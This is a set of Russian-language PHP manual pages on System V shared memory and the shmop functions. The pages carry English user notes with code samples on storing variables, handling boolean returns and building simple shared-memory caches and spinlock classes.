$shmid2 = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$shmid3 = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);

$data =  shm_attach($shmid, 1024);
$data2 = shm_attach($shmid2, 1024);
$data3 = shm_attach($shmid3, 1024);

$test = array("hello","world","1","2","3");
$test2 = array("hello","world","4","5","6");
$test3 = array("hello","world","7","8","9");

shm_put_var($data,$inmem,$test);
shm_put_var($data2,$inmem2,$test2);
shm_put_var($data3,$inmem3,$test3);

print_r(shm_get_var($data,$inmem));
print_r(shm_get_var($data2,$inmem2));
print_r(shm_get_var($data3,$inmem3));

shm_detach($data);
shm_detach($data2);
shm_detach($data2);
?>

to REALLY test it.. create a second script like so and run it..

#!/usr/local/bin/php -q
<?PHP
// test2.php

$SHM_KEY = ftok(__FILE__,'A');

$shmid  = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$shmid2 = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$shmid3 = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);

$data =  shm_attach($shmid, 1024);
$data2 = shm_attach($shmid2, 1024);
$data3 = shm_attach($shmid3, 1024);

print_r(shm_get_var($data,$inmem));
print_r(shm_get_var($data2,$inmem2));
print_r(shm_get_var($data3,$inmem3));

shm_detach($data);
shm_detach($data2);
shm_detach($data2);
?>

As you can see, test2.php doesn't insert anything into shared memory.. yet it pulls out 3 totally different arrays already stored..

Hope that helps.. took me a bit to get it right.. everyone seems to have their own idea of how shm should be used. lol.

BTW, not sure how the ftok works to be honest, cause I didn't change the __FILE__ to match the file path of test.php or anything.. I would think that the file path out have to be the exact same to work correctly.. oh well, it worked as-is! haha..

- Cecil
php at cytrax dot de 18-Jan-2002 08:36
The memsize needed for shared memory (tested on linux system) can be calculated with:

For each varialbe you want to store: 24 Bytes
+ serialized var-size (see below) alligned by 4 Bytes
+ 16 Bytes

For a update of a var with the same key, the memory for the old var will be needed extra.
koester at x-itec dot de 21-Mar-2001 12:41
4194304 means 4 MB and NOT 4 GB for shared memory on FreeBSD. You can increase the shared memory at runtime if you like.
lew at persiankitty dot com 25-Jan-2001 04:30
Finding out shared memory kernel settings in FreeBSD:

sys1# sysctl -a | grep -i SHM

kern.ipc.shmmax: 4194304
kern.ipc.shmmin: 1
kern.ipc.shmmni: 96
kern.ipc.shmseg: 64
kern.ipc.shmall: 1024
kern.ipc.shm_use_phys: 0

Shows us that we can allocate a total of 4GB (wow) of shared memory, etc...
webmaster at mail dot communityconnect dot com 10-Sep-1999 01:50
With Sun Solaris 2.x, the MAXIMUM shared memory value allowed is 1,048,576.  The maximum allowed value can be determined using the command /usr/sbin/sysdef.  On Linux, there does not seem to be any system enforced maximum size.  To change the maximum allowed size on Solaris 2.x, use set shmsys:shminfo_shmmax=[new value].
h dot raaf at i-k-c dot net 25-Mar-1999 05:40
Notice that 'int key' for shared-memory is shared with the keys used for semaphores. So you get in trouble when you use the same key value for semaphores and shared memory!
eric at superstats dot com 12-Feb-1999 07:04
Objects are stored serialized in shm_put_var, so to find a value for memsize, you can use strlen(serialize($object_to_store_in_shm)).


Отключается от сегмента разделяемой памяти

  • « shm_attach
  • shm_get_var »
  • PHP Manual
  • Функции семафоров
  • Отключается от сегмента разделяемой памяти

shm_detach

(PHP 4, PHP 5, PHP 7, PHP 8)

shm_detach — Отключается от сегмента разделяемой памяти

Описание

shm_detach(SysvSharedMemory $shm): bool

shm_detach() отключается от сегмента разделяемой памяти, указанного в shm, созданного shm_attach(). Помните, что разделяемая память всё ещё существует в системе Unix и данные всё ещё присутствуют.

Список параметров

shm

Сегмент разделяемой памяти, полученный из shm_attach().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | shm ожидает экземпляр SysvSharedMemory; ранее ожидался ресурс (resource).

Смотрите также

  • shm_attach() - Создаёт или открывает сегмент разделяемой памяти
  • shm_remove() - Удаляет разделяемую память из систем Unix
  • shm_remove_var() - Удаляет переменную из разделяемой памяти

User Contributed Notes

There are no user contributed notes for this page.


Возвращает переменную из разделяемой памяти

  • « shm_detach
  • shm_has_var »
  • PHP Manual
  • Функции семафоров
  • Возвращает переменную из разделяемой памяти

shm_get_var

(PHP 4, PHP 5, PHP 7, PHP 8)

shm_get_var — Возвращает переменную из разделяемой памяти

Описание

shm_get_var(SysvSharedMemory $shm, int $key): mixed

shm_get_var() возвращает переменную по ключу key в указанном сегменте разделяемой памяти. Переменная всё ещё присутствует в разделяемой памяти.

Список параметров

shm

Сегмент разделяемой памяти, полученный из shm_attach().

key

Ключ переменной.

Возвращаемые значения

Возвращает переменную с заданным ключом.

Список изменений

Версия | Описание
8.0.0 | shm теперь ожидает экземпляр SysvSharedMemory; ранее ожидался ресурс (resource).

Смотрите также

  • shm_has_var() - Проверяет, существует ли конкретная запись
  • shm_put_var() - Вставляет или обновляет переменную в разделяемой памяти

User Contributed Notes

serg at red-sign dot ru 28-Feb-2013 02:38
If any body has problem with shm_get_var();

this code correctly work with boolean-values^
<?php
if(shm_has_var ($this->shm_mem_id, $_varno)){
            $_value = shm_get_var($this->shm_mem_id, $_varno);
        }else{
            $_value = NULL;
        }
?>
hackmac at nowhere dot com 24-Jun-2009 02:19
hello everyone i came up with some sort of solution to the shm_get_var()
returns false on error/returns a boolean false variable problem.

test script

<?php

    error_reporting(E_ALL);
    ini_set('display_errors', '1');

    echo '<pre>';
    echo ini_get('sysvshm.init_mem');

    require_once('ClassShmWrapper.php5');

    $nKey = ftok(__FILE__,'x');

    $myShm = new ClassShmWrapper($nKey);

    $myShm->attachToSegment();

    #$mValue = range(1,rand(3,10));
    #$myShm->nVarKey = count($mrValue);

    #$mValue = FALSE;

    /*
    $mValue = TRUE;
    $myShm->nVarKey = 1;
    $myShm->mVar = $mValue;
    $myShm->putVarToSegment();
    */

    #$myShm->nVarKey = 2;
    $myShm->nVarKey = 1;

    if ($myShm->getVarFromSegment()) {
        echo "found var in shm\n";
    }
    else {
        echo "could NOT find var in shm\n";
    }

    $myShm->detachFromSegment();

    echo "\ndumping " . '$myShm->mVar' . "\n";
    var_dump($myShm->mVar);

?>

class for using the shm_ functions & class for storing boolean values

<?php

    class ClassShmWrapper {

        public $nPermissions;
        public $nKey;
        public $nBytesMemorySize;

        public $nShmId;

        public $nVarKey;
        public $mVar;

        public function __construct($nKey,$nBytesMemorySize=50000,$nPermissions=0666) {

            $this->nKey = $nKey;
            $this->nBytesMemorySize = $nBytesMemorySize;
            $this->nPermissions = $nPermissions;
        }

        public function attachToSegment() {
            $this->nShmId = shm_attach($this->nKey,$this->nBytesMemorySize,$this->nPermissions);
        }

        public function detachFromSegment() {
            shm_detach($this->nShmId);
        }

        public function removeSegment() {
            shm_remove($this->nShmId);
        }

        public function getVarFromSegment() {

            $mVar = NULL;

            if (($mVar = @shm_get_var($this->nShmId,$this->nVarKey)) !== FALSE) {

                $this->mVar = $mVar;

                unset($mVar);

                /*
                    For variables of type boolean we need to access an object property which stores the boolean value.
                    This is needed as shm_get_var() could return FALSE when returning a boolean variable set to FALSE
                    or when a non-existing variable key was tried to access!
                */

                if ($this->mVar instanceof ClassShmBooleanWrapper) {
                    $this->mVar = $this->mVar->bVal;
                }

                return TRUE;
            }
            else {

                return FALSE;
            }

        }

        /**
        * Puts a PHP variable into shared memory (or updates an existing one for the given variable key).
        *
        * @return boolean returns TRUE on success/FALSE on error
        */
        public function putVarToSegment() {

            // cmp -> comment getVarFromSegment()
            if (is_bool($this->mVar)) {

                return shm_put_var($this->nShmId,$this->nVarKey,new ClassShmBooleanWrapper($this->mVar));

            }
            else {
                return shm_put_var($this->nShmId,$this->nVarKey,$this->mVar);
            }

        }

        public function removeVarFromSgement() {

            shm_remove_var($this->nShmId,$this->nVarKey);
        }

    } // end class

    class ClassShmBooleanWrapper {

        public $bVal;

        public function __construct($bVal) {
            $this->bVal = $bVal;
        }

    } // end class

?>
php at pharse dot com 03-Dec-2008 12:05
I was annoyed by this warning when using shm_get_var():

Warning: shm_get_var() [function.shm-get-var]: variable key 2 doesn't exist in PATH_TO_FILE on line 64.

You can suppress the warning by changing the error reporting level. To do this for just the page in question, include the following line:

<?php
    error_reporting(E_ERROR);
?>

For more info: http://us.php.net/error_reporting
ricardophp at yahoo dot com dot br 27-Sep-2008 02:18
A fully functional sample  ...

<?php
echo "<PRE>\n";

define("FOPEN_RESOURCE", 1);

$shm_id = shm_attach(FOPEN_RESOURCE);
if ($shm_id === false) {
    exit("Fail to attach shared memory.\n");
}

$fopen_resource = fopen("/tmp/phpSharedMemory.bin", "w");

$a =  array("Teste1", 1);
if (!shm_put_var($shm_id, $a, $a)) {
    exit("Failed to put var 1 in shared memory $shm_id.\n");
}

echo "F: ".$a[0].":".$a[1]."\n";
$pid = pcntl_fork();

if($pid == -1) {
  die("could not fork\n");
}
else if ($pid) {
    $a = array("Teste2", 3);
    if (!shm_put_var($shm_id, $a, $a)) {
        exit("Failed to put var 1 in shared memory $shm_id.\n");
    }
    echo "P1: ".$a[0].":".$a[1]."\n";
} else {
    sleep(2);
    $a = shm_get_var($shm_id, $a);
    echo "P2: ".$a[0].":".$a[1]."\n";
}
pcntl_wait($status);
exit();
?>
JM 14-May-2005 03:50
To follow up on the posts by anonymous, Bob Van Zant and chris at free-source dot com below (or, as must people inexplicably write, above) regarding the PHP warning and FALSE that shm_get_var returns if the variable key doesn't exist:

My tests (with PHP4.3.4) show that defined() is useless here. Because the function defined(string) checks whether the constant whose name is string exists, the code
<?php
if ( defined(@shm_get_var($mutex, $mutex_key)) {
   ...
}
?>
acts the same ("..." does not get executed) whether the variable is defined or not--unless $mutex_key happens to identify a valid string that happens to be the name of a constant. :)

Rather,
<?php
if ( @shm_get_var($mutex, $mutex_key) === FALSE ) {
   ...
}
?>
works, provided the object that was stored isn't actually FALSE (via <?php shm_put_var($mutex, $mutex_key, FALSE); ?>)

It would be nice to have a completely air-tight solution, though.  D'oh!
06-May-2005 02:01
You will still receive a notice use @:

if(!defined(@shm_get_var($mutex, $mutex_key))) {
       shm_put_var($mutex, $mutex_key, 0);
}
Bob Van Zant 18-Feb-2005 12:05
This seems to work fine to detect the lack of presence of a key in shared memory and then init it to 0 when found:

if(!defined(shm_get_var($mutex, $mutex_key))) {
        shm_put_var($mutex, $mutex_key, 0);
}


Проверяет, существует ли конкретная запись

  • « shm_get_var
  • shm_put_var »
  • PHP Manual
  • Функции семафоров
  • Проверяет, существует ли конкретная запись

shm_has_var

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

shm_has_var — Проверяет, существует ли конкретная запись

Описание

shm_has_var(SysvSharedMemory $shm, int $key): bool

Проверяет, существует ли конкретный ключ в сегменте разделяемой памяти.

Список параметров

shm

Сегмент разделяемой памяти, полученный из shm_attach().

key

Ключ переменной.

Возвращаемые значения

Возвращает true, если запись существует, в противном случае возвращает false.

Список изменений

Версия | Описание
8.0.0 | shm теперь ожидает экземпляр SysvSharedMemory; ранее ожидался ресурс (resource).

Смотрите также

  • shm_get_var() - Возвращает переменную из разделяемой памяти
  • shm_put_var() - Вставляет или обновляет переменную в разделяемой памяти

User Contributed Notes

There are no user contributed notes for this page.


Вставляет или обновляет переменную в разделяемой памяти

  • « shm_has_var
  • shm_remove_var »
  • PHP Manual
  • Функции семафоров
  • Вставляет или обновляет переменную в разделяемой памяти

shm_put_var

(PHP 4, PHP 5, PHP 7, PHP 8)

shm_put_var — Вставляет или обновляет переменную в разделяемой памяти

Описание

shm_put_var(SysvSharedMemory $shm, int $key, mixed $value): bool

shm_put_var() добавляет или обновляет value с заданным ключом key.

Будет выдана ошибка (уровня E_WARNING), если shm не является допустимым индексом разделяемой памяти SysV или если разделяемой памяти недостаточно для выполнения вашего запроса.

Список параметров

shm

Сегмент разделяемой памяти, полученный из shm_attach().

key

Ключ переменной.

value

Переменная. Могут использоваться все типы переменной, которые поддерживают serialize(): обычно это означает все типы, кроме ресурсов и некоторых внутренних объектов, которые не могут быть сериализованы.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | shm теперь ожидает экземпляр SysvSharedMemory; ранее ожидался ресурс (resource).

Смотрите также

  • shm_get_var() - Возвращает переменную из разделяемой памяти
  • shm_has_var() - Проверяет, существует ли конкретная запись

User Contributed Notes

cong818 at gmail dot com 24-Dec-2012 11:59
seems to me shm_put_var() doesn't work well with an integer key 0. I changed to 1 and it works like a charm.
Jason Lester 21-Dec-2012 09:28
Yes, it is possible to maintain a real level of resource persistence using shared memory. All vars in PHP are stored in common hashtables as zvals, including resource identifiers. There are hashtables available that outlive the request as long as the entire PHP process isn't shut down. All you need is to store the identifiers in such a hashtable and a way to keep track of them and you can receive the original resource.

I don't know why PHP doesn't provide a way of setting/getting persistent resources, but it is likely do to the many types of SAPI's available for it and the fact that not all of them *can* facilitate this, including CGI which still if far from obsolete.

Another problem is that having such access in userspace is bound to create issues where multiple php processes are trying to access the same resource. Looking at it from this angel you can see that there's really no safe way to safely use such getter/setters without a better synchronism scheme in PHP.
orwellophile at spamtrak dot org 06-Apr-2010 04:17
Quote: "Will it ever support resource identifiers like pfsockopen() pointers ...  we run PHP as a Apache Module ... no way to have true persistent sockets"

Sorry, but that doesn't make sense to me... the socket is still persistent, if you wish to resume it, simply call pfsockopen() with the same host and port - and you will get the same socket.  There is no need to pass the actual resource variable.

If there is something amazingly special and unique about each socket, you can do the following - and this should apply to any persistent resource:

To differentiate between or obtain a specific resource - simply serialize/store an index of each resource's unique ID, along with the particulars that make that resource unique.

You can get a unique resource identifier as an integer value like so:

<?php
   $rid = str_replace("Resource id #", "", print_r($fp, true));
   // $rid = 2
?>

As pfsockopen() uses the hostname and port as a unique key to resume a persistent connection, you can add a DNS wildcard, or a number of manual entries in /etc/hosts (or windows equiv.) as follows:

resource-0.host.com  192.168.100.1
resource-1.host.com  192.168.100.1
resource-2.host.com  192.168.100.1
resource-3.host.com  192.168.100.1

Then, after consulting your serialized list of resources, you can connect to a specific resource by using it's resource id.

eg:  $pf = pfsockopen("resource-$rid.host.com", $port, $timeout);

The new resource will be identical to the original in every way.

For file based stream resources you could do something similar with symlinks, or use the next method...

For URL based or other resources with "paths" (I don't know if there *are* persistent functions that involve such things) you could differentiate between them with using extraneous information in the path.  eg:

  http://host.com/resource-4/../script.php
  http://resource4@host.com/script.php
  /tmp/././././file.txt

In the first example, the extraneous "resource-4" would be ignored by the webserver.

In the second, the superfluous username would be ignored by the webserver.  (Something similar for mysql_pconnect could be done with multiple usernames).

And in the the third example, four sequential occurrences of the "do nothing" string "./" would indicate resource #4.

If this isn't enough, then you can use the fact that PHP shared memory resources are themselves interoperable with those created by their .c counterparts.   That allows you to write a thin .c application to handle the dirty work.

Or you could attempt to reconnect to your own webserver, using persistent streams and the methods outlined above, to achieve the end result.   I can't think of an example of where something so extreme would be necessary, but I'm sure it's not outside the realm of possibility.

I personally use an 117 MB binary database, which is stored in shared memory, both from the command line (using a complied .c application), and from the web (via PHP, and ftok()/shmop_open()/shmop_read()).
ygbr at me dot com 12-Oct-2009 02:25
Will it ever support resource identifiers like pfsockopen() pointers?

The main problem is that when we run PHP as a Apache Module we never know in which process the next request will bind to, making impossible to have true persistent socket connections unless we can store the pointer to it or directly open the socket inode with fopen() like functions and retrieve the same resource pointer again.

I thought I could use shm, but it seems that shm doesn't allow o store resource pointers... sad... :(
Hendrik Klindworth 02-Feb-2009 08:28
shm_put_var has no protection against race conditions. If two scripts insert the same key at the same time php might segfault.
jasonrlester at yahoo dot com 25-Apr-2008 12:51
sadly troy is right

the following script will return:

resource(5) of type (stream)
int(0)

<?php

define("FOPEN_RESOURCE", 1);
define("FOPEN_FILEPATH", "/path/to/file");

$fopen_resource = fopen(FOPEN_FILEPATH, "w");

var_dump($fopen_resource);

$shm_id = shm_attach(1);
if ($shm_id === false)
{
    echo "Fail to attach shared memory.\n";
}

if (!shm_put_var($shm_id, FOPEN_RESOURCE, $fopen_resource))
{
    echo "Failed to put var 1 in shared memory $shm_id.\n";
}

$sm_fopen_resource = shm_get_var($shm_id, FOPEN_RESOURCE);
if ($sm_fopen_resource === false)
{
    echo "Failed to retreive fopen_resource from Shared memory\r\n";
}

var_dump($sm_fopen_resource);

if($shm_id) shm_remove($shm_id);
if($fopen_resource) fclose($fopen_resource);

?>
troy 06-Mar-2008 07:02
This isn't entirely accurate. Not all variable types are supported, you can't put a resource variable into shared memory.

When you try to take it out, it will be a zero.
tomlove at gmail dot com 30-Sep-2004 04:53
Use as few variable_keys as you can. With large arrays of data, rather make the array multi-dimensional and store under one variable_key than use variable_key as your index. The benefit is especially noticeable when repeated fetching from the end of the array is necessary and updates are less frequent.


Удаляет переменную из разделяемой памяти

  • « shm_put_var
  • shm_remove »
  • PHP Manual
  • Функции семафоров
  • Удаляет переменную из разделяемой памяти

shm_remove_var

(PHP 4, PHP 5, PHP 7, PHP 8)

shm_remove_var — Удаляет переменную из разделяемой памяти

Описание

shm_remove_var(SysvSharedMemory $shm, int $key): bool

Удаляет переменную с заданным ключом key и освобождает занятую память.

Список параметров

shm

Сегмент разделяемой памяти, полученный из shm_attach().

key

Ключ переменной.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | shm теперь ожидает экземпляр SysvSharedMemory; ранее ожидался ресурс (resource).

Смотрите также

  • shm_remove() - Удаляет разделяемую память из систем Unix

User Contributed Notes

There are no user contributed notes for this page.


Удаляет разделяемую память из систем Unix

  • « shm_remove_var
  • SysvMessageQueue »
  • PHP Manual
  • Функции семафоров
  • Удаляет разделяемую память из систем Unix

shm_remove

(PHP 4, PHP 5, PHP 7, PHP 8)

shm_remove — Удаляет разделяемую память из систем Unix

Описание

shm_remove(SysvSharedMemory $shm): bool

shm_remove() удаляет разделяемую память shm. Все данные будут уничтожены.

Список параметров

shm

Сегмент разделяемой памяти, полученный из shm_attach().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | shm теперь ожидает экземпляр SysvSharedMemory; ранее ожидался ресурс (resource).

Смотрите также

  • shm_remove_var() - Удаляет переменную из разделяемой памяти

User Contributed Notes

HansRich 12-Jun-2014 03:17
WARNING: this function WILL NOT destroy the memory segment if there are other processes attached to it, but it will return TRUE anyways!

You will have to try to access the segment again after destroying it to make sure it was relly destroyed.
aaron DURP segura DURP gmail DURP com 19-Aug-2006 04:55
It appears that you must be connected to the shm segment in order to remove it.

<?php
shm_remove($shm);
shm_detach($shm);
?>

works, while

<?php
shm_detach($shm);
shm_remove($shm);
?>

produces "Warning: shm_remove(): The parameter is not a valid shm_identifier ..."
cu at ulakbim dot gov dot tr 29-Dec-1999 08:30
Though it says **shm_identifier** in
  int shm_remove(int shm_identifier);
and
  shm_attach() returns an **id** that that can be used to access the System V...

a snippet like this:
<?php
  $key = 1234;
  $shm=shm_attach($key);
  // do whatever...
  shm_remove($shm);
?>

produces an error like
Warning: 2(which is the value of $shm) is not a existing SysV shared memory key in /usr/cu/web/sema.php on line 44...

The documentation confused me a bit. I thought shm_remove would get the shm handle/id that returns from shm_attach, not the key given to shm_attach. So, use instead:
  shm_remove($key);

which is what is intended indeed.


Класс SysvMessageQueue

(PHP 8)

Введение

Полностью непрозрачный класс, заменяющий ресурс sysvmsg queue в PHP 8.0.0.

Обзор классов

final class SysvMessageQueue {
}

User Contributed Notes

There are no user contributed notes for this page.


Класс SysvSemaphore

(PHP 8)

Введение

Полностью непрозрачный класс, заменяющий ресурс sysvsem в PHP 8.0.0.

Обзор классов

final class SysvSemaphore {
}

User Contributed Notes

There are no user contributed notes for this page.


Класс SysvSharedMemory

(PHP 8)

Введение

Полностью непрозрачный класс, заменяющий ресурс sysvshm в PHP 8.0.0.

Обзор классов

final class SysvSharedMemory {
}

User Contributed Notes

There are no user contributed notes for this page.


Управление разделяемой памятью

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • Базовое использование
  • Разделяемая (shared) память
    • shmop_close — Закрытие блока разделяемой памяти
    • shmop_delete — Удаление блока разделяемой памяти
    • shmop_open — Резервирование или использование блока разделяемой памяти
    • shmop_read — Чтение данных из участка разделяемой памяти
    • shmop_size — Возвращает размер блока в разделяемой памяти
    • shmop_write — Запись данных в разделяемую память
  • Shmop — Класс Shmop

User Contributed Notes

mattcsl at gmail dot com 26-Oct-2013 11:58
thankyou,

this function had a missing comma between test1 and test2 and is fixed below

function get_cache_id($name) {
    // maintain list of caches here
    $id=array(  'test1' => 1,
                'test2' => 2
                );

    return $id[$name];
}
makr at makrit dot net 09-Mar-2013 11:05
shmop made simple:
$test=get_cache('test');
save_cache($test, 'test1', 600);

To save/get cache that easily just save this as cache.php or whatever you see fit:

<?php

function save_cache($data, $name, $timeout) {
    // delete cache
    $id=shmop_open(get_cache_id($name), "a", 0, 0);
    shmop_delete($id);
    shmop_close($id);

    // get id for name of cache
    $id=shmop_open(get_cache_id($name), "c", 0644, strlen(serialize($data)));

    // return int for data size or boolean false for fail
    if ($id) {
        set_timeout($name, $timeout);
        return shmop_write($id, serialize($data), 0);
    }
    else return false;
}

function get_cache($name) {
    if (!check_timeout($name)) {
        $id=shmop_open(get_cache_id($name), "a", 0, 0);

        if ($id) $data=unserialize(shmop_read($id, 0, shmop_size($id)));
        else return false;          // failed to load data

        if ($data) {                // array retrieved
            shmop_close();
            return $data;
        }
        else return false;          // failed to load data
    }
    else return false;              // data was expired
}

function get_cache_id($name) {
    // maintain list of caches here
    $id=array(  'test1' => 1
                'test2' => 2
                );

    return $id[$name];
}

function set_timeout($name, $int) {
    $timeout=new DateTime(date('Y-m-d H:i:s'));
    date_add($timeout, date_interval_create_from_date_string("$int seconds"));
    $timeout=date_format($timeout, 'YmdHis');

    $id=shmop_open(100, "a", 0, 0);
    if ($id) $tl=unserialize(shmop_read($id, 0, shmop_size($id)));
    else $tl=array();
    shmop_delete($id);
    shmop_close($id);

    $tl[$name]=$timeout;
    $id=shmop_open(100, "c", 0644, strlen(serialize($tl)));
    shmop_write($id, serialize($tl), 0);
}

function check_timeout($name) {
    $now=new DateTime(date('Y-m-d H:i:s'));
    $now=date_format($now, 'YmdHis');

    $id=shmop_open(100, "a", 0, 0);
    if ($id) $tl=unserialize(shmop_read($id, 0, shmop_size($id)));
    else return true;
    shmop_close($id);

    $timeout=$tl[$name];
    return (intval($now)>intval($timeout));
}

?>


Введение

Набор функций shmop позволяет легко выполнять операции чтения, записи, резервирования и удаления сегментов разделяемой памяти Unix.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Для использования набора функций shmop необходимо скомпилировать PHP с опцией --enable-shmop в строке конфигурации.

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

До PHP 8.0.0, модуль задаёт тип ресурса shmop, являющийся обработчиком блока разделяемой памяти.

User Contributed Notes

There are no user contributed notes for this page.


  • « Предопределённые константы
  • Базовое использование »
  • PHP Manual
  • Управление разделяемой памятью
  • Примеры

Примеры

Содержание

  • Базовое использование

User Contributed Notes

There are no user contributed notes for this page.


Базовое использование

Пример #1 Обзор операций с разделяемой памятью

<?php

// Создание блока с идентификатором 0xff3 и размером в 100 байт.
$shm_id = shmop_open(0xff3, "c", 0644, 100);
if (!$shm_id) {
echo "Невозможно зарезервировать блок в сегменте памяти\n";
}

// Получение размера блока в разделяемой памяти
$shm_size = shmop_size($shm_id);
echo "Участок памяти, размером: " . $shm_size . ", успешно зарезервирован.\n";

// Проверочная запись некоторой строки в разделяемую память
$shm_bytes_written = shmop_write($shm_id, "Мой маленький блок", 0);
if ($shm_bytes_written != strlen("Мой маленький блок")) {
echo "Не удалось записать весь размер данных\n";
}

// Получение хранимой строки из разделяемой памяти
$my_string = shmop_read($shm_id, 0, $shm_size);
if (!$my_string) {
echo "Невозможно прочитать данные из блока памяти\n";
}
echo "Данные, размещённые в разделяемой памяти: " . $my_string . "\n";

// Удаление блока и закрытие сегмента разделяемой памяти
if (!shmop_delete($shm_id)) {
echo "Невозможно отметить участок памяти для освобождения.";
}
shmop_close($shm_id);

?>

User Contributed Notes

Anonymous 08-Jan-2018 02:27
Simple class for SHMOP implementation.

# Warning #

You can write/read only one direction. If you try read and write at the same time you get corrupt data. (Its works like STD in/out)
If you need bi-directional communication create 2 instance of shmop class.
Don't try attach more than one readers or writers for some shmid, you get corrupt data. This class use kludged spinlocks for improve speed, and not real atomic operations. You can add semaphore with flock, but it very slow. (~x3)

Benchmark:

Reads per sec: 6316 Data size per sec: 6.17 gb

<?php
########################
# shmopwriter.php
########################

$blockSize = 1024 * 1024 * 100;
$data = random_bytes($blockSize);

try
{
    $shm = new SHMOP('shmopwriter.php', 'c', 644, $blockSize);

    while(1)
    {
        if(!$shm->canWrite())
            continue;

        $shm->write($data);
    }

    $shm->close();

} catch (Exception $e) {
     echo 'Error: ',  $e->getMessage(), PHP_EOL;
     exit;
}

########################

########################
# shmopreader.php
########################

$blockSize = 1024 * 1024 * 100;
$shm = new SHMOP('shmopwriter.php', 'c', 644, $blockSize);
$readsMT = 0;
$readsPS = 0;

while(!$shm->eof())
{
    $times = microtime(true);

    if(($data = $shm->read()) === false)
        continue;

    $readsPS++;
    $readsMT += round(((microtime(true) - $times ) * 1000), 3);

    if($readsMT > 1000)
    {
        echo 'Reads per sec: ', $readsPS, ' Data size per sec: ', convert($blockSize * $readsPS), PHP_EOL;
        $readsPS = 0;
        $readsMT = 0;
    }
}

function convert($size)
{
    $unit=array('b','kb','mb','gb','tb','pb');
    return @round($size/pow(1024,($i=floor(log($size,1024)))),2).' '.$unit[$i];
}
########################

########################
# shmop.class.php
########################

class SHMOP
{
    private $shmId;
    private $shmHeaderSize;
    private $shmHeaderOffset;
    private $shmBlockSize;
    private $shmMaxBlockSize;

    function __construct(string $pathname, string $flags, int $mode, int $size)
    {
        $this->shmHeaderSize = strlen($size);
        $this->shmHeaderOffset = $this->shmHeaderSize + 1;
        $this->shmMaxBlockSize = $size;
        $this->shmBlockSize = $size + $this->shmHeaderOffset + 1;

        $this->shmId = shmop_open(ftok($pathname, 's'), $flags, $mode, $this->shmBlockSize);

        if(!$this->shmId)
            throw new Exception('shmop_open error');
    }

    function __destruct()
    {
        if(!$this->shmId)
            return;

        $this->close();
    }

    public function read()
    {
        // Check SpinLock
        if(shmop_read($this->shmId, 0, 1) === "\0")
            return false;

        // Get Header
        $dataSize = (int)shmop_read($this->shmId, 1, $this->shmHeaderSize);

        $data = shmop_read($this->shmId, $this->shmHeaderOffset, $dataSize);
        // release spinlock
        shmop_write($this->shmId, "\0", 0);
        return $data;
    }

    public function write(string $data)
    {
        // Check SpinLock
        if(shmop_read($this->shmId, 0, 1) !== "\0")
            return false;

        $dataSize = strlen($data);

        if($dataSize < 1)
            throw new Exception('dataSize < 1');

        if($dataSize > $this->shmMaxBlockSize)
            throw new Exception('dataSize > shmMaxBlockSize: '. $this->shmMaxBlockSize);

        // pack very slow use kludge
        $dataSize .= "\0";

        // Write Header
        shmop_write($this->shmId, $dataSize, 1);
        // Write Data
        shmop_write($this->shmId, $data, $this->shmHeaderOffset);
        // Write spinlock
        shmop_write($this->shmId, "\1", 0);
        return true;
    }

    public function eof()
    {
        return (shmop_read($this->shmId, 0, 1) === "\2") ? true : false;
    }

    public function sendeof()
    {
        // Check SpinLock
        if(shmop_read($this->shmId, 0, 1) !== "\0")
            return false;

        shmop_write($this->shmId, "\2", 0);
        return true;
    }

    public function canWrite()
    {
        // Check SpinLock
        return (shmop_read($this->shmId, 0, 1) === "\0") ? true : false;
    }

    public function close()
    {
        return @shmop_close($this->shmId);
    }

    private function delete()
    {
        $del = @shmop_delete($this->shmId);

        if($del === false)
            return false;

        return @shmop_close($this->shmId);
    }
}

?>


Разделяемая (shared) память

Содержание

  • shmop_close — Закрытие блока разделяемой памяти
  • shmop_delete — Удаление блока разделяемой памяти
  • shmop_open — Резервирование или использование блока разделяемой памяти
  • shmop_read — Чтение данных из участка разделяемой памяти
  • shmop_size — Возвращает размер блока в разделяемой памяти
  • shmop_write — Запись данных в разделяемую память

User Contributed Notes

Arikania 06-May-2018 04:11
The shmop implementation as described in this help page is acttually merely a ramdisk / tmpfs that exists only within php, and even only on the linux servers. Or am I missing something?

On windows, the very same functionality can easily be achieved by creating such disk.

In fact, on my own server, I do use a tmpfs disk instead of the - as it appears to me - limited shmop feature.

Why not implement a $_SHARED or $_MUTUAL SuperGlobal in which we can create variables at will, and that is shared by all connections?

This would greatly improve performance of many PHP applications, and could save a lot of burden on server memory. Especially if those variables could be classes containing functions.

You could implement that it is up to the programmer to guard atomicity.

Such superglobal would be feasible on windows servers as well.
joeldg at gmail.com 09-Feb-2006 11:28
I wrote a php memcache back in 2003 as a sort of proof of concept
it is use on a few machines for doing heavy page load caching...
it works very well.
Following are some of the core functions I made

<?php
###############################################
#### shared mem functions
/*
    for debugging these
        use `ipcs` to view current memory
        use `ipcrm -m {shmid}` to remove
        on some systems use `ipcclean` to clean up unused memory if you
        don't want to do it by hand
*/
###############################################
    function get_key($fsize, $file){
        if(!file_exists(TMPDIR.TMPPRE.$file)){
            touch(TMPDIR.TMPPRE.$file);
        }
        $shmkey = @shmop_open(ftok(TMPDIR.TMPPRE.$file, 'R'), "c", 0644, $fsize);
        if(!$shmkey) {
                return false;
        }else{
            return $shmkey;
        }//fi
    }
    function writemem($fdata, $shmkey){
        if(MEMCOMPRESS && function_exists('gzcompress')){
            $fdata = @gzcompress($fdata, MEMCOMPRESSLVL);
        }
        $fsize = strlen($fdata);
        $shm_bytes_written = shmop_write($shmkey, $fdata, 0);
